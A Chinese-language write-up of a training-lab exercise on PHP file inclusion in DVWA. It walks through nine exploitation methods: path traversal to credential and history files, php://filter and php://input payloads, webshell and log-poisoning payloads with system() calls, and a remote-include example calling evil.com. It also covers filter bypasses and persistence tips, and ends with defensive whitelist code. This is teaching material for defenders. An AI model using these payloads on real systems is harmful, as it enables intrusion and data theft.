DVWA文件包含漏洞实战:9种渗透方法与防御策略详解 1. 项目概述从“文件包含”到实战渗透的思维跃迁在网络安全的学习路径上DVWADamn Vulnerable Web Application是一个绕不开的经典靶场。它像一个精心设计的“漏洞博物馆”将Web安全中常见的漏洞如SQL注入、XSS、文件上传等分门别类地呈现出来并设置了从易到难Low, Medium, High, Impossible的四个安全级别。今天我们要深入探讨的是其中“文件包含”File Inclusion漏洞在Low级别下的攻防博弈。这个标题——“DVWA靶场通关笔记-文件包含(Low级别 9种渗透方法)”——看似只是一个具体的操作指南但其背后蕴含的是从一个简单的参数传递漏洞到系统级权限获取的完整攻击链思维。它考验的不仅是你会不会用某个Payload更是你对Web应用架构、服务器文件系统、PHP语言特性乃至操作系统命令的融会贯通能力。文件包含漏洞简而言之就是应用程序在动态包含文件时未对用户输入进行严格过滤导致攻击者可以包含并执行任意文件。在Low级别下DVWA刻意移除了所有防护为我们提供了一个纯净的“实验沙箱”。这里的“通关”远不止于点击按钮看到回显而是要通过这9种方法彻底理解漏洞的原理、利用的边界以及防御的思路。无论你是刚刚接触Web安全的新手还是想巩固基础原理的从业者这次深度拆解都将带你超越工具使用层面直抵漏洞利用的核心逻辑。接下来我将以一个实战者的视角带你逐一剖析这9种方法并分享在真实渗透测试中如何将这些基础技巧组合、变形应用于更复杂的场景。2. 漏洞原理与实验环境深度解析2.1 文件包含漏洞的核心机制与PHP语言特性要真正利用好文件包含漏洞必须深入理解其工作原理。在PHP中include、require、include_once、require_once这些语句的本意是为了提高代码复用性比如将网站头部header.php、尾部footer.php或配置文件config.php动态引入。漏洞产生的根本原因在于包含文件的“路径”这个参数完全或部分地由用户可控。以DVWA Low级别的文件包含模块为例其核心代码通常简化如下?php $file $_GET[page]; // 直接获取用户输入的‘page’参数无任何过滤 include($file); ?这段代码的逻辑是用户通过?pagefile1.php这样的URL参数来指定要包含的文件。在理想情况下file1.php是开发者预设在服务器某个目录下的合法文件。然而由于没有对$file变量进行任何检查攻击者可以将其替换为任意路径。这里涉及几个关键的PHP和服务器特性路径遍历Directory Traversal使用../可以向上跳转目录。例如?page../../../../etc/passwd尝试读取Linux系统的用户账户文件。协议封装WrapperPHP支持多种URL风格的封装协议最致命的是php://input和php://filter。php://input可以访问请求的原始数据流配合POST传入PHP代码即可执行php://filter则可以对文件内容进行转换常用于读取源码。远程文件包含RFI如果PHP配置中allow_url_include设置为On默认是Off但DVWA Low级别可能模拟开启则可以通过?pagehttp://evil.com/shell.txt这样的方式直接包含远程服务器上的恶意脚本使其在目标服务器上执行。注意在实际的渗透测试或CTF比赛中RFI由于对配置要求严格且风险高相对少见。LFI本地文件包含是绝对的主流也是我们本次重点攻克的对象。DVWA的Low级别环境为我们同时提供了LFI和潜在的RFI实验条件。2.2 DVWA Low级别环境搭建与访问要点工欲善其事必先利其器。虽然网络上有很多在线DVWA平台但我强烈建议你在本地或可控的虚拟机环境中搭建。这能让你拥有最高权限可以自由查看源码、修改配置、反复测试而不受任何限制。环境准备建议集成环境对于新手最快捷的方式是使用XAMPP或PHPStudy。它们一键集成了Apache、PHP、MySQL省去了繁琐的配置。将DVWA源码解压到它们的htdocs或www目录下即可。配置文件修改DVWA根目录下的config/config.inc.php.dist文件需要复制一份并重命名为config.inc.php然后根据你的数据库信息进行修改。重点是确保数据库连接正确。安全级别设置访问DVWA首页后先进入Setup页面点击“Create / Reset Database”按钮初始化数据库。然后在左侧导航栏找到DVWA Security将安全级别设置为Low。这是关键一步它决定了所有漏洞模块的防护等级。访问文件包含模块设置完成后点击左侧File Inclusion即可进入我们今天的主战场。实操心得我习惯在虚拟机如VirtualBox Kali Linux中搭建DVWA这样即使测试中发生意外比如误操作破坏了系统也可以快速恢复快照非常适合做破坏性实验。开启浏览器的开发者工具F12特别是“网络”Network和“控制台”Console标签页。所有请求和响应都会在这里清晰呈现是分析Payload是否生效、错误信息是什么的绝佳窗口。在测试前先用一个正常参数如?pagefile1.php访问一次观察正常的页面回显是什么样的这有助于你快速识别后续攻击是否成功。3. 九种渗透方法全解与实战演绎Low级别的文件包含漏洞就像一个不设防的房间我们拥有几乎无限的“钥匙”。下面我将这9种方法归纳为几个核心利用方向并详细拆解每一步。3.1 基础路径遍历与敏感信息读取这是最直观的利用方式目标是读取服务器上本不该被Web用户访问的敏感文件。方法1读取系统关键文件LinuxPayload:?page../../../../etc/passwd原理与操作通过多个../回溯到根目录然后定位到/etc/passwd文件。这个文件存储了系统用户的基本信息虽然密码哈希现在多存放在/etc/shadow中但/etc/passwd仍能帮助我们枚举系统用户名。实战扩展?page../../../../etc/shadow尝试读取密码哈希文件需要root权限通常Web服务进程无权访问但可以一试。?page../../../../proc/self/environ读取当前进程的环境变量有时会泄露路径、密钥等信息。?page../../../../home/用户名/.bash_history尝试读取用户的历史命令可能泄露敏感操作、密码等信息。方法2读取Web应用配置文件Payload:?page../../../../var/www/html/config.php(路径需根据实际调整)原理与操作目标是找到网站自身的配置文件里面往往有数据库用户名、密码、API密钥等“宝藏”。你需要猜测或通过报错信息、目录遍历等方式先确定网站的绝对路径。在DVWA中你可以通过包含一个不存在的文件引发报错报错信息里常常会包含文件的完整路径。技巧可以先尝试包含?page./index.php然后查看页面源码有时配置文件的路径会在注释或附近代码中泄露。3.2 利用PHP封装协议实现高级利用这是文件包含漏洞的“灵魂”所在PHP提供的这些协议封装器能将漏洞的危害性提升数个量级。方法3使用php://filter读取源码Payload:?pagephp://filter/readconvert.base64-encode/resourceindex.php原理与操作这是最常用、最重要的技巧之一。直接包含.php文件其中的代码会被服务器执行我们看不到源码。php://filter协议就像一个“处理器”我们可以指定它对资源进行“读取”操作并用convert.base64-encode过滤器将文件内容转换为Base64编码。这样PHP引擎不会执行它而是将其作为文本包含并输出Base64字符串。我们将这段字符串解码就能获得清晰的源代码。实操步骤在浏览器中输入上述Payload。页面会显示一串Base64编码的字符串。复制这串字符串使用在线Base64解码工具或者在Kali Linux终端使用echo “编码字符串” | base64 -d命令进行解码。分析解码后的源码寻找数据库配置、其他包含点、敏感逻辑等。方法4使用php://input执行任意代码需allow_url_includeOnPayload:?pagephp://input原理与操作php://input可以访问POST请求的原始数据。我们将要执行的PHP代码放在POST Body中发送服务器在包含php://input时就会把这些数据当作PHP代码来执行。实战演示使用Burp Suite或HackBar将请求方法改为POST。URL参数为?pagephp://input。在POST Body中写入?php system(whoami); ?发送请求回显中就会显示当前Web服务运行的用户身份如www-data。注意事项这是非常直接的命令执行RCE方法。在DVWA Low级别下通常可用但在真实环境或更高安全级别下allow_url_include往往是关闭的此方法会失效。方法5使用data://协议执行代码需allow_url_includeOnPayload:?pagedata://text/plain,?php phpinfo();?或?pagedata://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8(Base64编码版)原理与操作data:协议允许在URL中直接嵌入数据。我们可以将PHP代码作为数据嵌入达到和执行php://input类似的效果。Base64编码版有时可以绕过一些简单的过滤。对比data://比php://input更简洁不需要改POST请求但同样依赖allow_url_include配置。3.3 结合文件上传与日志注入实现攻击链当直接执行代码受阻时我们需要“创造”一个可包含的恶意文件。文件上传漏洞和日志文件是绝佳的跳板。方法6结合文件上传漏洞经典组合拳场景DVWA或其他应用同时存在文件上传漏洞且上传的文件能被访问到和文件包含漏洞。操作流程首先通过文件上传功能上传一个图片马将PHP代码嵌入图片的EXIF信息或直接上传一个.php后缀的webshell文件如果过滤不严。上传成功后获取文件的存储路径例如/dvwa/hackable/uploads/shell.php。利用文件包含漏洞包含这个上传的文件?page../../hackable/uploads/shell.php。你的webshell就被执行了从而获得一个命令交互界面。心得这是实战中最常见的利用链之一。即使上传点对后缀做了严格检查只能上传图片我们也可以利用文件包含漏洞的“不解析”特性。例如上传一个内容为?php system($_GET[‘c’]);?的shell.jpg然后通过文件包含去读取它因为包含操作是由PHP引擎处理的它只关心文件内容不关心后缀名所以代码依然会被执行。方法7利用Apache/Nginx访问日志注入原理Web服务器如Apache、Nginx会将每一个HTTP请求记录在访问日志中如/var/log/apache2/access.log。如果我们在User-Agent或请求URL中插入PHP代码这段代码就会被原样记录到日志文件里。然后我们再通过文件包含漏洞去包含这个日志文件其中的代码就会被执行。操作步骤使用Burp Suite或curl向DVWA发送一个请求其中User-Agent设置为?php system($_GET[‘cmd’]);?。curl -A ?php system(\$_GET[cmd]);? http://靶机IP/dvwa/vulnerabilities/fi/?pagefile1.php猜测或确定Apache日志的路径常见的有../../../../var/log/apache2/access.log。通过文件包含漏洞包含该日志文件?page../../../../var/log/apache2/access.logcmdwhoami。如果成功命令whoami的结果将会在页面中显示。难点与技巧日志路径需要知道日志的确切路径可以通过报错、默认路径猜测或读取配置文件获得。日志污染日志文件很大包含的代码可能不在文件末尾。我们注入的代码可能会被其他请求冲掉。可以短时间内快速、多次注入增加成功率。特殊字符日志中的代码可能会被转义如变成lt;导致执行失败。需要测试目标服务器的日志记录方式。方法8利用PHP Session文件注入原理PHP会将用户的Session数据存储在服务器的一个临时文件中如/tmp/sess_[sessionid]。如果我们可以控制存储到Session中的部分数据就可以将PHP代码写入Session文件然后包含它。操作步骤找到一个能将用户输入存入$_SESSION的页面。在DVWA中可以查看其他模块如反射型XSS可能不存储但某些功能可能会。将恶意代码赋值给一个Session变量。例如通过一个表单提交user?php phpinfo();?后端代码将其存入$_SESSION[‘user’]。获取自己的Session ID通过浏览器Cookie查看PHPSESSID的值。猜测Session文件路径通常为/tmp/sess_[你的PHPSESSID]或/var/lib/php/sessions/sess_[你的PHPSESSID]。通过文件包含漏洞包含这个Session文件?page../../../../tmp/sess_abc123def456。注意事项这种方法条件较为苛刻需要知道Session存储路径、有权限写入Session且能预测文件名在实战中成功率不如日志注入高但作为一种思路值得了解。3.4 利用环境文件与临时文件方法9包含/proc/self/environLinux特定Payload:?page../../../../proc/self/environ原理与操作/proc/self/environ文件包含了当前进程即处理我们请求的Apache/PHP进程的所有环境变量。其中HTTP_USER_AGENT环境变量对应我们请求头中的User-Agent。因此我们可以像利用日志一样通过修改User-Agent注入代码然后包含这个文件来执行。操作与方法7日志注入的前两步类似但包含的目标文件换成了/proc/self/environ。需要注意的是这个文件的内容格式是KEYvalue注入的代码需要确保在正确的格式中能被解析。通常我们注入?php ... ?到User-Agent然后包含该文件PHP引擎会扫描整个文件内容并执行其中的PHP标签。对比相比日志文件/proc/self/environ文件更小、更实时不需要等待日志滚动但同样需要Web进程有读取该文件的权限。4. 实战中的组合、绕过与深度利用思维掌握了九种基础方法就像拥有了九种武器。但在真实的渗透测试或CTF中漏洞点往往不会像DVWA Low级别这样“赤裸裸”。我们需要学会组合使用这些方法并掌握绕过常见过滤的技巧。4.1 路径遍历的绕过技巧如果程序对../进行了简单的过滤或删除我们可以尝试以下变种绝对路径直接使用绝对路径如?page/etc/passwd。这不需要../。编码绕过URL编码..%2f..%2f..%2f..%2fetc%2fpasswd(将/编码为%2f)双重URL编码..%252f..%252f..%252f..%252fetc%252fpasswdUnicode编码、UTF-8编码等。截断绕过PHP版本5.3.4这是一个历史漏洞但仍有老系统存在。利用PHP在包含文件时如果路径字符串末尾存在特定字符如\0空字节会将其后的内容截断。例如如果程序强制添加.php后缀可尝试?page../../../../etc/passwd%00使得最终拼接的字符串../../../../etc/passwd%00.php在遇到%00时被截断实际包含/etc/passwd。注意高版本PHP已修复此问题。4.2 协议封装器的组合与变形filter链php://filter可以串联多个过滤器。例如先进行Base64解码再进行字符串旋转ROT13用于处理一些经过简单编码的敏感文件内容php://filter/readstring.rot13|convert.base64-decode/resourceconfig.phpzip:// 与 phar://这两个协议可用于触发反序列化漏洞或包含压缩包内的文件是文件包含漏洞通向更严重漏洞如反序列化RCE的桥梁属于进阶内容。4.3 从信息泄露到命令执行的完整链条构建一个成熟的渗透测试过程很少是靠单一漏洞完成的。文件包含漏洞常常是突破边界、获取初步信息的起点。信息收集利用文件包含读取/etc/passwd获取用户列表读取Web配置文件获取数据库密码读取应用源码寻找其他漏洞点。权限提升通过日志注入或文件上传包含获得一个webshell执行命令权限通常是Web服务用户如www-data。横向移动利用获取的数据库密码尝试连接数据库导出数据或利用数据库特性如MySQL的into outfile写Webshell。检查服务器上的其他用户文件、历史命令、计划任务/etc/crontab寻找提权机会。权限维持在服务器上种植后门如写入SSH密钥、创建反弹Shell的定时任务等。5. 防御视角如何编写安全的代码作为开发者了解攻击手段是为了更好地防御。针对文件包含漏洞核心防御原则是“白名单”和“硬编码”。避免动态包含如果可能尽量使用静态包含或自动加载机制。使用白名单如果必须动态包含应预先定义好允许包含的文件列表白名单严格检查用户输入是否在该列表中。$allowed_pages array(home.php, about.php, contact.php); $page $_GET[page]; if (in_array($page, $allowed_pages)) { include($page); } else { include(error.php); }硬编码路径前缀为包含的文件添加固定的、安全的目录前缀防止目录穿越。$base_dir /var/www/html/includes/; $page basename($_GET[page]); // basename()函数会去掉路径部分只保留文件名 $file_path $base_dir . $page; if (file_exists($file_path) is_file($file_path)) { include($file_path); }关闭危险配置在php.ini中确保allow_url_fopen和allow_url_include设置为Off从根本上杜绝RFI。更新与打补丁保持PHP版本和框架的最新状态修复已知的截断等漏洞。通过DVWA Low级别文件包含这9种方法的深度演练我们实际上完成了一次从漏洞原理到利用技巧再到防御思想的完整循环。安全攻防的本质是思维的对抗理解每一种攻击路径才能在设计时堵上每一个可能的缺口。建议你在完全掌握Low级别后继续挑战DVWA的Medium和High级别看看增加了哪些过滤并尝试用今天学到的绕过思维去突破它们那将是更贴近真实世界的挑战。